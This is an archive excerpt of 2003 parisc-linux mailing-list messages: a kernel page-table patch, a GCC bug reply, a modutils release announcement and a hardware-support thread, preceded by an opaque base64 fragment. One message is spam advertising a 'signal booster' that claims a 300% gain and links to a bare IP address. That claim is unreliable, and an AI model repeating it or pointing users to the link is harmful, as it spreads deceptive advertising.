8czKm3Eeb4i7nOWE2ZQrZ37zJ3zG7pChS1lUIxinNdo9rdZPREmVV+l4RpITDWa88sezsvd5PXeQ
/piMSwU9V9SlYVGX1sw+FT5l1VO+TOnQLs1HSVsJwm6hIOwWCsJugSBEtiCYnnA3QgAkbmZfi77L
7fJ8MQrlr8jKM18iChGTwqVELRKpRllHrGq2XEWWXNVswYpcwbIghQISl6UWT0MBKLQBxV9PQqHU
Ylkq/5FjvJRY1ku08UVJSkYUBPRFsp6scPOs5A//+lxDVYiEUa1ZWsgfFU/4chndLYfoxgUqyNCX
auM8Er75kzBIlLvgXiYE5C8yBqT5oL6fH3NU+aNPyJqlajtlpifzfCxpGriI8j2n/M0nWqhsEoP3
RfZo8sLLuF0hUiPDOwDzP5jKqJb8CzfmwOwkEM534cu56Rt7Jp5GWhdJUxUrQjFKmxfJjg7QUofe
QHIgI4Y/Oy9reyk+ZcDPQJoD0RvJJyXY/ZTF4UPWWEq6UzFfFAsqqKmICREPL8tbcCapksvfjvjK
9kgCccEYcZxevg8fEsnTC2YEfKGGZJrmBP5kXuC3wLaFgiS0v3zCkF0eJCo6Qkf9EviL88pAfmMr
TpRCXFyvl4PRxOv9NB3C9KHF0ngpSUsvjNlrSKVMe/oUx6XBvMTrs+x6QxZ85H0w4muP0NEGrHi+
//ll3zs6OHl86h29PO71T3/0Tp//6J28fH188BNInhd1YU/gDfDzAx1s/OO/yffmGsnyIHBjEeBq
ksbZCNddiO5LX6w5YWMjHUmv9dcJ9bUB6KWfAYKBvss5yRzo2wdwg0kWbWdTprHWIdVzd2QC23sG
QBf9hvs1+TUTCN1EJJZBz80NjWWRe2TGfpfICbT+bQUiLwhCvg0L2s2/DRMwBPvXYkPpkvfLj2gP
8W2KACL2Fbr/m6cc+/3+tBcPWuPV4OPB4MXifenFYvB+8osgDBJySeVbh9VkNF3DSop/8lxyX9KO
dsym3ws6NGiGalPCq5qcVp65ZUw3R4WFchjibQEp2kek/helvDzr7bYOAA==


From - Thu Nov 08 21:27:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "" <dufy@colba.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boost your signal by 300%. o kagc tugu fpjt
Date: Thu, 27 Mar 03 20:00:36 GMT
Lines: 23
Approved: news@gmane.org
Message-ID: <166-$qh2$2$$4h94v0kd1u@j4u3n>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_3.0BC.CE.A"
X-Trace: ger.gmane.org 1416622339 23816 80.91.229.3 (22 Nov 2014 02:12:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:19 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 27 12:06:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94E0348BD
	for <parisc-linux@parisc-linux.org>; Thu, 27 Mar 2003 12:06:03 -0700 (MST)
Original-Received: from dsl-200-78-2-174.prodigy.net.mx (dsl-200-78-2-174.prodigy.net.mx [200.78.2.174])
	by cuprel1.hp.com (Postfix) with SMTP id B835A19A3
	for <parisc-linux@parisc-linux.org>; Thu, 27 Mar 2003 11:05:56 -0800 (PST)
Original-Received: from skb.qlms4.net [186.9.160.222] by dsl-200-78-2-174.prodigy.net.mx with ESMTP id <392708-19596>; Thu, 27 Mar 2003 20:00:36 +0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: eGroups Message Poster
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18107

This is a multi-part message in MIME format.

--_3.0BC.CE.A
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<p>The Cell Phone Antenna Booster. 

This product will increase your signal by 300%
All for under 10.00

To read more about our product, please click the link.

<a href=3D"http://213.162.130.26/1/index.php?r=3Dshoetec">PUSH THIS</a>
</p>waxlmnwxnybncl

ibzktubfwn j beze
pfec
gommz fyerir gwout d  cggh
g
--_3.0BC.CE.A--



From - Thu Nov 08 21:27:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 jejb
Date: 27 Mar 2003 23:50:47 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <1048830648.1789.351.camel@mulgrave>
References: <20030328054702.40ADD4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622340 23820 80.91.229.3 (22 Nov 2014 02:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:20 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 27 22:50:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 051304829; Thu, 27 Mar 2003 22:50:50 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h2S5om326927;
	Fri, 28 Mar 2003 00:50:48 -0500
In-Reply-To: <20030328054702.40ADD4829@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18108

On Thu, 2003-03-27 at 23:47, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.5
> Changes by:	jejb	03/03/27 22:47:02
> 
> Modified files:
> 	include/asm-parisc: pgtable.h 
> 
> Log message:
> Add support for file-offsets-in-pte's
> 
> See http://mail.nl.linux.org/linux-mm/2003-03/msg00174.html

===== include/asm-parisc/pgtable.h 1.11 vs edited =====
--- 1.11/include/asm-parisc/pgtable.h	Thu Mar  6 10:19:09 2003
+++ edited/include/asm-parisc/pgtable.h	Thu Mar 27 21:42:26 2003
@@ -122,6 +122,7 @@
 #define _PAGE_GATEWAY_BIT  28   /* (0x008) privilege promotion allowed */
 #define _PAGE_DMB_BIT      27   /* (0x010) Data Memory Break enable (B bit) */
 #define _PAGE_DIRTY_BIT    26   /* (0x020) Page Dirty (D bit) */
+#define _PAGE_FILE_BIT	_PAGE_DIRTY_BIT	/* overload this bit */
 #define _PAGE_REFTRAP_BIT  25   /* (0x040) Page Ref. Trap enable (T bit) */
 #define _PAGE_NO_CACHE_BIT 24   /* (0x080) Uncached Page (U bit) */
 #define _PAGE_ACCESSED_BIT 23   /* (0x100) Software: Page Accessed */
@@ -135,6 +136,17 @@
 
 #define xlate_pabit(x) (31 - x)
 
+/* this defines the shift to the usable bits in the PTE it is set so
+ * that the valid bits _PAGE_PRESENT_BIT and _PAGE_USER_BIT are set
+ * to zero */
+#define PTE_SHIFT	   	xlate_pabit(_PAGE_USER_BIT)
+
+/* this is how many bits may be used by the file functions */
+#define PTE_FILE_MAX_BITS	(BITS_PER_LONG - PTE_SHIFT)
+
+#define pte_to_pgoff(pte) (pte_val(pte) >> PTE_SHIFT)
+#define pgoff_to_pte(off) ((pte_t) { ((off) << PTE_SHIFT) | _PAGE_FILE })
+
 #define _PAGE_READ     (1 << xlate_pabit(_PAGE_READ_BIT))
 #define _PAGE_WRITE    (1 << xlate_pabit(_PAGE_WRITE_BIT))
 #define _PAGE_RW       (_PAGE_READ | _PAGE_WRITE)
@@ -148,6 +160,7 @@
 #define _PAGE_PRESENT  (1 << xlate_pabit(_PAGE_PRESENT_BIT))
 #define _PAGE_FLUSH    (1 << xlate_pabit(_PAGE_FLUSH_BIT))
 #define _PAGE_USER     (1 << xlate_pabit(_PAGE_USER_BIT))
+#define _PAGE_FILE     (1 << xlate_pabit(_PAGE_FILE_BIT))
 
 #define _PAGE_TABLE	(_PAGE_PRESENT | _PAGE_READ | _PAGE_WRITE |  _PAGE_DIRTY | _PAGE_ACCESSED)
 #define _PAGE_CHG_MASK	(PAGE_MASK | _PAGE_ACCESSED | _PAGE_DIRTY)
@@ -256,6 +269,7 @@
 extern inline int pte_dirty(pte_t pte)		{ return pte_val(pte) & _PAGE_DIRTY; }
 extern inline int pte_young(pte_t pte)		{ return pte_val(pte) & _PAGE_ACCESSED; }
 extern inline int pte_write(pte_t pte)		{ return pte_val(pte) & _PAGE_WRITE; }
+extern inline int pte_file(pte_t pte)		{ return pte_val(pte) & _PAGE_FILE; }
 
 extern inline pte_t pte_rdprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_READ; return pte; }
 extern inline pte_t pte_mkclean(pte_t pte)	{ pte_val(pte) &= ~_PAGE_DIRTY; return pte; }



From - Thu Nov 08 21:27:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PR10237 [3.2 regression] [HPPA] Internal compiler error in insn_default_length, at insn-attrtab.c:1203
Date: Sat, 29 Mar 2003 07:21:36 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <16005.15216.140200.591414__15374.5276308202$1416622340$gmane$org@gargle.gargle.HOWL>
References: <20030327061004.19985.qmail@sources.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622340 23821 80.91.229.3 (22 Nov 2014 02:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:20 +0000 (UTC)
Cc: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 28 23:25:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AE9B4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Mar 2003 23:25:21 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id HAA25574;
	Sat, 29 Mar 2003 07:21:36 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id h2T6La704210;
	Sat, 29 Mar 2003 07:21:36 +0100 (MET)
In-Reply-To: <20030327061004.19985.qmail@sources.redhat.com>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18109

rbradetich@uswest.net writes:
> u_free.c: In function `free_picture_entry':
> u_free.c:16: unrecognizable insn:
> (insn 43 42 46 (clobber (reg/i:SI 28 %r28)) -1 (insn_list:REG_DEP_OUTPUT 40 (nil))
>     (nil))
> u_free.c:16: Internal compiler error in insn_default_length, at insn-attrtab.c:1203
> Please submit a full bug report,
> with preprocessed source if appropriate.
> See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
> >How-To-Repeat:
> gcc -O2 -g u_free.i

Fixed in 3.3 CVS 20030318


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Owens <kaos@ocs.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Announce: modutils 2.4.25 is available
Date: Sun, 30 Mar 2003 08:50:00 +1000
Lines: 79
Approved: news@gmane.org
Message-ID: <17381.1048978200__34815.5839056291$1416622340$gmane$org@ocs3.intra.ocs.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622340 23824 80.91.229.3 (22 Nov 2014 02:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 29 15:50:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 33CE04829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Mar 2003 15:50:23 -0700 (MST)
Original-Received: (qmail 29973 invoked from network); 29 Mar 2003 22:50:09 -0000
Original-Received: from ocs3.intra.ocs.com.au (192.168.255.3)
  by mail.ocs.com.au with SMTP; 29 Mar 2003 22:50:08 -0000
Original-Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331)
	id A3A2B300087; Sun, 30 Mar 2003 08:50:05 +1000 (EST)
Original-Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1])
	by ocs3.intra.ocs.com.au (Postfix) with ESMTP
	id 5D03C8F; Sun, 30 Mar 2003 08:50:05 +1000 (EST)
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18110

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Content-Type: text/plain; charset=us-ascii

ftp://ftp.<country>.kernel.org/pub/linux/utils/kernel/modutils/v2.4

modutils-2.4.25.tar.gz          Source tarball, includes RPM spec file
modutils-2.4.25-1.src.rpm       As above, in SRPM format
modutils-2.4.25-1.i386.rpm      Compiled with gcc 2.96 20000731,
                                glibc 2.2.2.
modutils-2.4.25-1.ia64.rpm	Compiled with gcc 2.96-ia64-20000731,
				glibc-2.2.3.
patch-modutils-2.4.25.gz        Patch from modutils 2.4.24 to 2.4.25.

Changelog extract

        * Add hppa and hppa64 to the list of architectures that have function
          descriptors.
        * Add combined s390/s390x support.  IBM.

This version of modutils is almost identical to 2.4.23.  The changes
affect architectures that have function descriptors, i.e. ia64, ppc64,
hppa, hppa64.  It also adds support for combined s390/s390x utilities.

For historical reasons, insmod and depmod treat modules with neither
EXPORT_SYMBOL() nor EXPORT_NO_SYMBOLS() as exporting everything.  This
provides backwards compatibility with 2.0 kernels and some 2.2 modules.
No new code should be relying on this behaviour and the feature has
been removed in 2.5 kernels.  Unfortunately some developers are still
relying on this default behaviour, even for new code.

When an architecture has function descriptors and uses EXPORT_SYMBOL()
on a function, gcc generates a function descriptor and ksymtab contains
the address of that descriptor.  Without an explicit EXPORT_SYMBOL(),
gcc does not generate a function descriptor and the exported symbol
points to the start of the function body.  Any attempt to call to that
function tries to use the start of the function code as a descriptor
and breaks spectacularly.

To prevent this kernel breakage, I am making an incompatible change to
modutils.  It only affects ia64, ppc64, hppa and hppa64 users, and only
if they are relying on the deprecated feature of all symbols being
exported.

Users on these architectures must ensure that their modules still
resolve and add EXPORT_SYMBOL() where necessary before doing a
permanent upgrade to modutils 2.4.25.  The simplest way to check is to
build (but not install) modutils-2.4.25 then
  ./depmod/depmod -nae > /dev/null
Any unresolved references that did not occur with modutils 2.4.23 need
an explicit EXPORT_SYMBOL().  If this is too much bother, stay on
modutils 2.4.23 and risk the kernel breakage.

Other architectures can safely upgrade to 2.4.25 with no change, or
they can stay on 2.4.23.

If anybody fancies a janatorial task, configure modutils 2.4.25 with
CFLAGS="-O2 -Wall -DHAS_FUNCTION_DESCRIPTORS" ./configure, build it
then run ./depmod/depmod -nae > /dev/null.  You can do that on any
architecture to find kernel modules that still rely on exporting all
symbols.

No, I am not going to fudge modutils 2.4 to allow the continued default
export of data symbols but not text symbols on architectures with
function descriptors.  It is too much extra work just to allow the
continued use of a deprecated feature that has already been removed in
2.5 kernels.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.1.1 10/15/1999

iD8DBQE+hiMWi4UHNye0ZOoRAt88AJ963sQNt9gYwJwq3ZbfY+WUjR8Q8QCgqeCb
vYMYdDo5gavjhnX/hoGGzhU=
=apeE
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 09:02:31 +0100 (IST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0303300852030.25173-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622341 23826 80.91.229.3 (22 Nov 2014 02:12:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 01:02:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5C4F4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 01:02:33 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h2U82Ws14649
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 09:02:32 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18111

Hi,

I just wonder whether somebody has experience in running Linux on
a Precisionbook (which is the equivalent to a B-Class machine according
to Tadpole). According to OpenPA.net it contains the following chips:

LASI ASIC, which features:
- NCR 53c710 8-bit single-ended SCSI-2
- Intel 82596CA 10Mb Ethernet controller
- WD 16C522 compatible parallel
- Harmony CD/DAT quality 16-bit audio
- NS 16550A compatible serial
Dino PCI bus-adaptor
Visualize EG (Graffiti) graphics with 2MB memory
1MB flash memory
Intel 82503 Ethernet transceiver, media auto-selection
CS4215 or AD1849 programmable CODECs
WD37C65C Floppy controller


As far as I can see the only thing that isn't supported on
Linux/PA-RISC right now is the floppy controller. The (IDE-)hard disks
shouldn't be a problem since they are attached to the NCR 53c710 via a
SCSI-IDE adapter.

Does anybody know whether it could/should/may/will/does run Linux?

Thanks in advance,

Max



From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 16:20:36 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20030330152036.GC29376@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0303300852030.25173-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622341 23832 80.91.229.3 (22 Nov 2014 02:12:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 08:20:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B16264829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 08:20:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18zebs-0004h8-2J; Sun, 30 Mar 2003 16:20:36 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0303300852030.25173-100000@sal.ucc.ie>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18112

On Sun, Mar 30, 2003 at 09:02:31AM +0100, M. Grabert wrote:
> I just wonder whether somebody has experience in running Linux on
> a Precisionbook (which is the equivalent to a B-Class machine according

I tried to get hold of one from them.  They never called me back ;-(

> to Tadpole). According to OpenPA.net it contains the following chips:
> 
> LASI ASIC, which features:

Same as everything from the 712 to the J2240 ;-)

> Dino PCI bus-adaptor

Also in everything from the B132 to the J2240

> Visualize EG (Graffiti) graphics with 2MB memory

Works in other machines.

> 1MB flash memory

Don't know how this is hooked up.  Might work, give it a try.

> Intel 82503 Ethernet transceiver, media auto-selection

Presumably we dont actually need a driver for this.

> CS4215 or AD1849 programmable CODECs

Hooks up to harmony, no worries.

> WD37C65C Floppy controller

As you say, no floppy support yet.

> As far as I can see the only thing that isn't supported on
> Linux/PA-RISC right now is the floppy controller. The (IDE-)hard disks
> shouldn't be a problem since they are attached to the NCR 53c710 via a
> SCSI-IDE adapter.

Doesn't it also have a PCMCIA adapter?  No-one's tried making those work.

> Does anybody know whether it could/should/may/will/does run Linux?

Obviously it _should_.  But since no-one's tried ...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 30 Mar 2003 14:13:27 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20030330191327.GH14959@systemhalted>
References: <Pine.LNX.4.44.0303300852030.25173-100000@sal.ucc.ie> <20030330152036.GC29376@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622341 23834 80.91.229.3 (22 Nov 2014 02:12:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:21 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 12:18:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDDF64829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 12:18:32 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18ziFD-0001HW-00; Sun, 30 Mar 2003 14:13:27 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, "M. Grabert" <xam@cs.ucc.ie>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030330152036.GC29376@parcelfarce.linux.theplanet.co.uk>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (66% Sync Ratio [=======...])
User-Agent: Mutt/1.5.3i
